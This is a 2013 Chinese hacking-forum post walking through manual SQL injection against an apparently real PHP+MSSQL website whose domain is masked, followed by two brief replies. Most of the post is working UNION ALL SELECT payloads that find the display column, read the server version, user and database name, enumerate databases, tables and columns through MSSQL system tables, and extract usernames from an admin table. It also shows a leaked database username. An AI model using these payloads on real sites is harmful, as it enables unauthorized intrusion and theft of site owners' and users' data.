查看: 8994|回复: 2

PHP+MSSQL手工注入

[复制链接]
  • TA的每日心情
    奋斗
    2019-5-22 23:11
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2013-3-1 21:27:44 | 显示全部楼层 |阅读模式
    一般的管理员都会采用PHP+MYSQL的方式,毕竟这也是一个主流的架构方式,不过某些变态的就采用了PHP+MSSQL的架构,虽然不能说太难,但是如果手中没有工具的话,可能也要费一点周折了
    今天我们的实例网站是http://www.XXX.com/cbs_xx.php?cbs_id=415网站我还是打上码吧,
    我们先来看一下是否有注入,习惯性的加个'来看一下
    看来是有注入的,下面来看一下字段就是ORDER BY 这个我想大家都会,我就不说了,最后貌似是三十个字段
    然后就来构造SQL语句吧
    这里如果构造像
        union+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 --

    这样的语句显示就会不正确,那么我们如何来构造呢
    习科上面的大牛已经给出了一个方式,就是用UNION+ALL+SELECT 代替UNION+SELECT ,并且用NULL代替数字,知道页面显示正常之后构建不存在的页面,然后挨个替换,找出显示位
    那么我们构造的语句就应该是这样的
        URL+union+all+select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


    我们可以看到回显已经正确了 QQ截图20130301153551.jpg ,打码技术有限,大家将就着看一下吧
    接下来我们来试试找出显示位吧

        -415+union+all+select 1,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --

    挨个替换就行了,最后,我找到第四个就是显示位 QQ截图20130301154122.jpg
    下面来看一下版本

        -415+union+all+select null,null,null,@@version,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


    sql 2000的,然后就来看一下当前用户是什么

        -415+union+all+select null,null,null,user,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


    用户是rtbooklys*@#0529,好了,我们来看看都有什么数据库吧,爆库开始……
    先来看一下当前的数据库是什么,

        -415+union+all+select null,null,null,db_name(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --


    这里不知道为什么sql语句被转换成这样了,还请知道的告知

        -415+union+all+select null%2Cnull%2Cnull%2Cdb_NAME  %2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull-#1572375432181028656


    老是需要把后面修改的那串字符删掉才能爆出来当前库rtbook
    我们是不是可以把所有的裤子全看一边呢,当然可以,sql语句如下:

        -415+union+all+select null%2Cnull%2Cnull%2CNAME%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull+from+master.dbo.sysdatabases+where+dbid=1


    后来我用一个手工注入辅助工具,总算是不转换了
    依次变换后面的dbid最后爆出来所有的库
                     master
                    tempdb
                    model
                    msdb
                    pubs
                    Northwind
                    rtqikan
                    rtbook
                    zaixiandaku
    所有的库都出来了,我们来看一下当前库中的表吧

        -415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null +from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85))--


    其中两个地方要填写数据库名,格式是   数据库名.dbo.sysobjects,总过两个,要是一样的。如果不是当前的数据库,这就成了跨库查询,可能有的虚拟主机设置权限不让跨库查询。
    括号里的最后一句: (select top 1 name from rtbook.dbo.sysobjects where xtype=CHAR(85)
    这里面变化  top XX name 里面的数字即可,这个XX是表的序号。没什么说的,就是一个相关子查询,学过SQL语句的应该知道
    第一个是cbs_tj
    cbs_tjb
    cbs_xg
    然后依次爆出即可,连着爆了五六个都没爆出看着像管理员表的,最后,终于看到一个表back_user表,看着像管理员表
    下面我们就来看看怎么列出库中的字段
    这里分为两步,首先我们需要获得库ID
    依照惯例:sql:

        union+all+select null,null,null,id,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+rtbook.dbo.sysobjects+where xtype=CHAR(85) and name not in (select top 8 name from rtbook.dbo.sysobjects where xtype=CHAR(85))--


    第二个括号中的8必须是在前面爆库的时候rtbook对应的N
    得到的序号是:181575685

    这个序号下面一步中要用到
    开始:

        -415+union+all+select null,null,null,name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from rtbook.dbo.syscolumns where ID=181575685 and name not in (select top 1 name from rtbook.dbo.syscolumns where ID=181575685)--


    这样就可以列出rtbook中的所有的列名
    得到表名,字段名就可以查询其中的内容了

        union+all+select null,null,null,user_name,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from back_user --
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2023-3-20 01:51
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2013-3-1 21:44:11 | 显示全部楼层
    亲 你的复制粘贴 有点坑爹 什么叫   
    我找到第四个就是显示位 QQ截图20130301154122.jpg   下面来看一下版本

    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2013-3-20 12:25:55 | 显示全部楼层
    还没遇到过这种的,,
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-26 01:16 , Processed in 0.029820 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部